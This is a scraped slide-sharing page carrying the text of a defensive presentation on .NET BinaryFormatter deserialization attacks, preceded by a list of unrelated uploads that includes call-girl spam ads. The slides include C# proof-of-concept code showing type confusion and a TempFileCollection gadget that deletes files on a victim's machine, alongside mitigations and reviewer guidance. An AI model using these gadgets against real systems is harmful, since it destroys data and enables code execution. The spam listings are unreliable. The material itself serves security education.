BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASEOrtus Solutions, Corp
 
DNT_Corporate presentation know about us
DNT_Corporate presentation know about usDNT_Corporate presentation know about us
DNT_Corporate presentation know about usDynamic Netsoft
 
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...stazi3110
 

Recently uploaded (20)

HR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comHR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.com
 
Call Girls In Mukherjee Nagar 📱 9999965857 🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...
Call Girls In Mukherjee Nagar 📱  9999965857  🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...Call Girls In Mukherjee Nagar 📱  9999965857  🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...
Call Girls In Mukherjee Nagar 📱 9999965857 🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...
 
chapter--4-software-project-planning.ppt
chapter--4-software-project-planning.pptchapter--4-software-project-planning.ppt
chapter--4-software-project-planning.ppt
 
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptxKnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
 
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
 
Der Spagat zwischen BIAS und FAIRNESS (2024)
Der Spagat zwischen BIAS und FAIRNESS (2024)Der Spagat zwischen BIAS und FAIRNESS (2024)
Der Spagat zwischen BIAS und FAIRNESS (2024)
 
Asset Management Software - Infographic
Asset Management Software - InfographicAsset Management Software - Infographic
Asset Management Software - Infographic
 
5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf
 
Salesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantSalesforce Certified Field Service Consultant
Salesforce Certified Field Service Consultant
 
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfLearn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
 
Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝
 
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
 
XpertSolvers: Your Partner in Building Innovative Software Solutions
XpertSolvers: Your Partner in Building Innovative Software SolutionsXpertSolvers: Your Partner in Building Innovative Software Solutions
XpertSolvers: Your Partner in Building Innovative Software Solutions
 
Hand gesture recognition PROJECT PPT.pptx
Hand gesture recognition PROJECT PPT.pptxHand gesture recognition PROJECT PPT.pptx
Hand gesture recognition PROJECT PPT.pptx
 
Building Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop SlideBuilding Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
 
What is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWhat is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need It
 
Engage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The UglyEngage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The Ugly
 
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASEBATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
 
DNT_Corporate presentation know about us
DNT_Corporate presentation know about usDNT_Corporate presentation know about us
DNT_Corporate presentation know about us
 
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
 

.NET Deserialization Attacks

  • 2. Agenda • Executive Summary – One minute recap • Overview of Serialization/Deserialization – A few examples • How to exploit Serialization/Deserialization – Some design options that will mitigate exploits • Present takeaways for stakeholders – Designers/Developers, code reviewers, and testers • Conclusion – High-level summary and gentle reminders 2
  • 3. Terminology – What is Serialization/Deserialization? 3 • Serialization: Converts the state of an object into a stream of bytes • The bytes can be stored in DB, file system, RAM, Socket, etc. • Deserialization: Reverses the stream of bytes back into an object • Nice feature to exchange the state of an object between any two parties • Also, a nice avenue for security attacks  • This feature is present in several object-oriented languages Object DB File Socket Shared Memory …
  • 4. Executive Summary • Distributed systems often exchange objects (i.e., state data) – Objects often cross trust-boundaries (details later) – Objects are serialized on one-end and deserialized on the other end • Insufficient validation of input byte streams leads to security risks – Attackers can perform remote code execution – Compromise CIA (Confidentiality, Integrity, and Availability) • Our goal is to share selected best practices to prevent this attack – Also share a few anti-patterns that enable this attack 4
  • 5. OWASP Top 10, 2017 has Deserialization 5
  • 6. Applicability of Serialization Attack • Any client-server application which exchanges objects – REST APIs that accept objects as part of HTTP POST requests – Thick clients which exchange data with each other indirectly via a server • Slides present how developers can detect and prevent this attack • Security testers can learn how to test for serialization vulnerabilities 6
  • 7. An Abstracted View of a Typical Distributed System 7 • Objects are exchanged among different trust boundaries
  • 8. Options for Attackers • Option1: Run app C in a debugger – Put breakpoints and inject evil objects • Option2: Modify TCP traffic (http) – Man in the middle injects evil objects • Option3: Write an evil app E – App E will select any object of interest – App must implement messaging protocols – Evil app may have valid credentials 8
  • 9. Definition of User Inputs (in a serialization context) • Traditional defn.: User inputs are data that are provided by users • But serialized data from one application is an input to other applications • Threat: Evil client programs can inject arbitrary objects of interest – Remote code execution, access to confidential data, delete the file system, etc. • Serialized data should be considered as user inputs – even though they are low-level sequence of bytes 9
  • 10. Types of Serialization in C# (Too many) • BinaryFormatter • SoapFormatter • XMLSerializer • DataContractSerializer • NetDataContractSerializer • JSONSerializer • … Scope of this presentation: BinaryFormatter Future presentation series will cover all other types 10
  • 11. BinaryFormatter – Brief Overview • Serializes and deserializes an object to/from the binary format, respectively • Two relevant methods – Serialize(Stream, Object) • The state of the object is written into the stream – Deserialize(Stream) • From the stream the object’s state is reconstructed • Self-evaluation: Do you know why BinaryFormatter can be insecure? – Keep the answer to yourself (details coming shortly) – See the signature of Serialize and Deserialize and guess 11
  • 12. BinaryFormatter – Simple Class for “Demo” 12
  • 13. Let’s serialize this Person and look at the raw output 13 [TestMethod] public void Serialize_Person() { Person p = new Person(); p.Age = 21; // 0x15 p.Salary = 100; // 0x64 BinaryFormatter fmt = new BinaryFormatter(); using (FileStream stm = File.OpenWrite("person.stm")) { fmt.Serialize(stm, p); } }
  • 14. Some questions for self-evaluation (answers coming soon) 1. Will the serialized stream contain the class type name with namespace? 2. Will the BinaryFormatter serialize private members? 3. Will the serialized stream contain source code of constructors, destructors? 4. Will the serialized stream contain source code of properties (get/set)? 5. Is there a crypto hash of the serialized stream? 14
  • 15. BinaryFormatter – output (private members are serialized) 15 $ hexdump -C person.stm 00000000 00 01 00 00 00 ff ff ff ff 01 00 00 00 00 00 00 |................| 00000010 00 0c 02 00 00 00 4b 42 69 6e 61 72 79 46 6f 72 |......KBinaryFor| 00000020 6d 61 74 74 65 72 44 6f 75 62 74 2c 20 56 65 72 |matterDoubt, Ver| 00000030 73 69 6f 6e 3d 31 2e 30 2e 30 2e 30 2c 20 43 75 |sion=1.0.0.0, Cu| 00000040 6c 74 75 72 65 3d 6e 65 75 74 72 61 6c 2c 20 50 |lture=neutral, P| 00000050 75 62 6c 69 63 4b 65 79 54 6f 6b 65 6e 3d 6e 75 |ublicKeyToken=nu| 00000060 6c 6c 05 01 00 00 00 1a 42 69 6e 61 72 79 46 6f |ll......BinaryFo| 00000070 72 6d 61 74 74 65 72 52 69 73 6b 2e 50 65 72 73 |rmatterRisk.Pers| 00000080 6f 6e 02 00 00 00 04 5f 61 67 65 07 5f 73 61 6c |on....._age._sal| 00000090 61 72 79 00 00 08 08 02 00 00 00 15 00 00 00 64 |ary............d| 000000a0 00 00 00 0b |....| 000000a4 4 bytes for age (in hex) 4 bytes for salary (in hex) hexdump – Unix command line tool
  • 16. What happens if we edit the serialized stream? • Let’s directly edit the binary and change the age and salary of the Person • Let’s increase the age by 1 and give him $2 hike  • We can edit the binary stream as follows (e.g., on Linux command line) – vim person.stm – :%!xxd (to change to hex mode) – Change the bytes – :%!xxd –r (to return to bin mode) – wq 16
  • 17. Updated age (22 or 0x16) and salary ($102 or 0x66) 17 NO integrity check. We can edit the binary stream
  • 18. What is the difference among the 3 ways of deserialize? 18 [TestMethod] public void DeSerialize_Person() { BinaryFormatter fmt = new BinaryFormatter(); MemoryStream ms = new MemoryStream(File.ReadAllBytes("person.stm")); Person obj = fmt.Deserialize(ms) as Person; } [TestMethod] public void DeSerialize_Person2() { BinaryFormatter fmt = new BinaryFormatter(); MemoryStream ms = new MemoryStream(File.ReadAllBytes("person.stm")); Person obj = (Person) fmt.Deserialize(ms); } [TestMethod] public void DeSerialize_Person3() { BinaryFormatter fmt = new BinaryFormatter(); MemoryStream ms = new MemoryStream(File.ReadAllBytes("person.stm")); Object obj = fmt.Deserialize(ms); } Will these methods call the 1. constructors of Person? 2. destructor of Person? 3. getters/setters of Person?
  • 19. Answers to the deserialization questions 19 [TestMethod] public void DeSerialize_Person() { BinaryFormatter fmt = new BinaryFormatter(); MemoryStream ms = new MemoryStream(File.ReadAllBytes("person.stm")); Person obj = fmt.Deserialize(ms) as Person; } [TestMethod] public void DeSerialize_Person2() { BinaryFormatter fmt = new BinaryFormatter(); MemoryStream ms = new MemoryStream(File.ReadAllBytes("person.stm")); Person obj = (Person) fmt.Deserialize(ms); } [TestMethod] public void DeSerialize_Person3() { BinaryFormatter fmt = new BinaryFormatter(); MemoryStream ms = new MemoryStream(File.ReadAllBytes("person.stm")); Object obj = fmt.Deserialize(ms); } This calls the 1. Static constructor of Person 2. Destructor of Person This calls the 1. Static constructor of Person 2. Destructor of Person This calls the 1. Static constructor of Person 2. Destructor of Person Default constructor was never called by any of these variants
  • 20. All deserialization methods runs destructors BLINDLY 20 But default deconstructors are automatically called NONE of the methods called the default constructors
  • 21. Answers to self-evaluation 1. Will the serialized stream contain the class type name with namespace? • YES, see the hex dump of the serialized binary 2. Will the BinaryFormatter serialize private members? • YES 3. Will the serialized stream contain source code of constructors, destructors? • NO 4. Will the serialized stream contain source code of properties (get/set)? • NO 5. Is there a crypto hash of the serialized stream? NO 21
  • 22. Let’s be evil and confuse the type system • What happens if the server expects Type B but we send Type A instead? • Question for self-evaluation: Can you guess what will the server do? – This is highly unpleasant Let’s construct two types of objects for experimentation purposes 22
  • 23. Two types of classes to confuse the Deserialize method 23 [Serializable] public class TypeA { static TypeA() { Console.WriteLine("I'm a static constructor of class A!"); } } [Serializable] public class TypeB { static TypeB() { Console.WriteLine("I'm a static constructor of class B!"); } ~TypeB() { Console.WriteLine("I'm a destructor of class B!"); } }
  • 24. Let’s send wrong types to the Deserialize method 24 // simulation: server expects Type A but client sends Type B [TestMethod] public void TypeConfusion(){ MemoryStream ms = new MemoryStream(File.ReadAllBytes("clientB.stm")); BinaryFormatter fmt2 = new BinaryFormatter(); TypeA obj = (TypeA) fmt2.Deserialize(ms); } If we send a wrong type, the class cast exception is thrown. Are we SAFE?
  • 25. Let’s deserialize using “as Type A”: Is it any better? 25 // simulation: server expects Type A but client sends Type B [TestMethod] public void TypeConfusion2(){ MemoryStream ms = new MemoryStream(File.ReadAllBytes("clientB.stm")); BinaryFormatter fmt2 = new BinaryFormatter(); TypeA obj = fmt2.Deserialize(ms) as TypeA; } Will this perform type checking before deserialization?
  • 26. Let’s deserialize using “as Type A” … 26 // simulation: server expects Type A but client sends Type B [TestMethod] public void TypeConfusion2(){ MemoryStream ms = new MemoryStream(File.ReadAllBytes("clientB.stm")); BinaryFormatter fmt2 = new BinaryFormatter(); TypeA obj = fmt2.Deserialize(ms) as TypeA; Assert.IsNotNull(obj); } If we send a wrong type, the deserialized object will be null. Are we SAFE?
  • 27. Wait a minute – Some code got executed (under the hood) 27 • Both TypeConfusion and TypeConfusion2 ran code during deserialization Actually the static constructor and destructor of Type B ran. Lesson 1: BinaryFormatter does not perform type checking during deserialization
  • 28. So what is the big deal? • We just ran static constructor and destructor code • Most people will think static constructors and destructor are not harmful • NO – Wait until the next slides • We never know - there are tons of classes in the .NET library • What if one of our application static constructors create DB connections • Or, if one of the destructors clean-up some resources Let’s be evil and perform unpleasant actions during deserialization 28
  • 29. Do you know .NET has a juicy class (TempFilecollection)? • Represents a collection of temporary files. It is also serializable  29 Downloaded the source code of .NET Searched for files with a file Delete method Independently published by others at Blackhat conference
  • 30. Let’s serialize Tempfilecollection (on attacker’s machine) 30 [TestMethod] public void SerializeTempFileCollection() { TempFileCollection tempFileCollection = new TempFileCollection(); tempFileCollection.KeepFiles = false; // delete the files tempFileCollection.AddFile(@"C:tempTempFileCollectionjunk.txt", false); tempFileCollection.AddFile(@"C:tempTempFileCollectionjunk2.txt", false); BinaryFormatter fmt = new BinaryFormatter(); using (FileStream stm = File.OpenWrite("tempCollection.stm")) { fmt.Serialize(stm, tempFileCollection); } } • junk and junk2.txt will be removed on the attacker’s machine (but that’s OK) • The point is that the serialized stream will have files to be deleted on victims’ machines
  • 31. Let’s look inside the serialized tempfilecollection content 31 junk.txt and junk2.txt are part of the stream
  • 32. Let’s send TempFileCollection stream instead of TypeA 32 [TestMethod] public void RemoveFilesOnVictim() { MemoryStream ms = new MemoryStream(File.ReadAllBytes("tempCollection.stm")); BinaryFormatter fmt2 = new BinaryFormatter(); TypeA obj = fmt2.Deserialize(ms) as TypeA; } The victim expects TypeA but the evil attacker sends TempFileCollection
  • 33. Before deserialization on victim’s folder structure 33 [TestMethod] public void RemoveFilesOnVictim() { MemoryStream ms = new MemoryStream(File.ReadAllBytes("tempCollection.stm")); BinaryFormatter fmt2 = new BinaryFormatter(); TypeA obj = fmt2.Deserialize(ms) as TypeA; }
  • 34. After deserialization on victim’s folder structure 34 [TestMethod] public void RemoveFilesOnVictim() { MemoryStream ms = new MemoryStream(File.ReadAllBytes("tempCollection.stm")); BinaryFormatter fmt2 = new BinaryFormatter(); TypeA obj = fmt2.Deserialize(ms) as TypeA; } We removed the files on the victim’s machine 
  • 35. How did we delete files on victim’s machine? 35 We can remove a set of files on victims’ machines. Garbage collector will call this method.
  • 36. Reflective Serialization Attack on Client Applications 36
  • 37. Implicit code execution on deserialization event • .NET allows callbacks to be executed implicitly • If a serializable class implements IDeserializationCallback interface, then the onDeserialization method will be called • Another remote code execution opportunity! – Attacker just needs to find only one harmful onDeserialization method 37
  • 38. Activating Deserialization Callbacks 38 // Server expects TypeA but the evil client sends a Hashtable object [TestMethod] public void OnDeserializationCallBackTest(){ MemoryStream ms = new MemoryStream(File.ReadAllBytes("hashtable.stm")); BinaryFormatter fmt = new BinaryFormatter(); TypeA obj = (TypeA) fmt.Deserialize(ms); } Will the server call the OnDeserialization method of Hashtable?
  • 39. Activating OnDeserialization Callback Method 39 Attacker called the Hashtable.OnDeserialization method
  • 40. Let’s activate some dead code 40 Delegates are dangerous. It is like a function pointer. • Are delegates serialized? • If yes, can we change the pointer to arbitrary code?
  • 41. Replace Junk by Funk in the binary stream 41 There is life after dead
  • 42. Preventing BinaryFormatter Attacks (Two Options) • Option 1: Do not use BinaryFormatter – Use other serialization types that check the expected types during deserialization • Expected types should not be based on user inputs either • (future presentation will cover the details) – Mark pointers, event handlers, or delegates as non serializable – Use “sealed” to restrict inheritance of serializable classes (if applicable) • Option 2: Use DeserializationBinder – Stops instantiating the mismatched object More details (next slide) 42
  • 43. Prevention using SerializationBinder (Option 2) • Step1: SerializationBinder can be used to verify the type 43 public void RemotecodeExecution() // server expects Type A but client sends Type B { MemoryStream ms = new MemoryStream(File.ReadAllBytes("clientB.stm")); BinaryFormatter fmt2 = new BinaryFormatter(); fmt2.Binder = new MyDeserializationBinder("BinaryFormatterRisk.TypeA"); TypeA obj = fmt2.Deserialize(ms) as TypeA; Assert.IsNull(obj); }
  • 44. Prevention using SerializationBinder (Option 2) 44 • If types do not match, we throw an exception and log it • Stops the static constructor execution • Does not call the destructor either • But does not check the data integrity though
  • 45. Takeaways - for Designers/Engineers • Please do not use BinaryFormatter – BinaryFormatter is easy to exploit (as we demonstrated) • Do not serialize delegates/pointers – Attackers can point to delegates/pointers to run arbitrary code • Do not assume that inputs come from our own applications – Evil test clients may send inconsistent state data with correct/incorrect types • Validate input types before deserialization – If we don’t check types, malicious code can be executed • Read detailed API documents of libraries for full semantics – Better if we create our own sample programs and understand corner-cases 45
  • 46. Takeaways - for Code Reviewers • [Serializable] attribute – is it really needed or accidentally put in here? – Many of our classes are unnecessarily marked as serializable • Assume all serialized data are tainted and check the following anti-pattern – Does the code trust the state data of objects send by clients? • Trace where serialized data enters the system – This is a taunting task but usually at-most 5 levels of function calls to trace the data • Check whether deserialization errors are logged – A log analysis tool may be able to detect suspicious deserialization activities • Fortify warnings can also partly help (it may miss issues, too) – NONE of the BinaryFormatter issues were detected by Fortify 46
  • 47. Takeaways – for (Security) Testers • Identify scenarios that deal with serialization – using threat models – user stories involving exchange of state data • Construct test cases with evil types – Pass different types – Pass expected types but modify the state data – Security testers should be comfortable with scripting/programming • Look for error handling issues as well – Does the system respond with detailed errors and/or stack traces? 47
  • 48. Some Myths about Serialization/Deserialization Attacks • Our software uses TLS 1.2 – Nope. Application level vulnerabilities are not protected by TLS • We authenticate incoming requests – Authenticated users can instantiate arbitrary objects and run arbitrary code • Our constructors do not have code – There are tons of classes from libraries to choose an evil object – There are destructors that run blindly and can clean-up (e.g. DB connections, files) • There is no valuable data to steal – It does not matter. If they run arbitrary code, they can get a process on our server… – Remote code execution is usually CVSS score 8 or above 48
  • 49. Conclusion • Serialization attacks are serious and are not difficult to exploit – Applicable to multiple Object-oriented languages and distributed architectures – Do not be misled by exceptions – look under the hood • Attackers can compromise confidentiality, integrity, and availability – Execution of arbitrary code is a serious problem • Need to introduce standard controls to resist and recover from attacks – Avoid anti-patterns (discussed in the beginning) – Check types and data integrity before deserialization – But no custom serialization code/parser though • Threat models/architectural views are helpful to visualize the attack surface 49
  • 50. References • Overview of Serialization – https://en.wikipedia.org/wiki/Serialization • Are you my Type? – Breaking .NET Through Serialization • .NET serialization – Documentation of .NET serialization and BinaryFormatter class • OWASP Deserialization of untrusted data – Examples and concepts – OWASP Top 10, 2017 50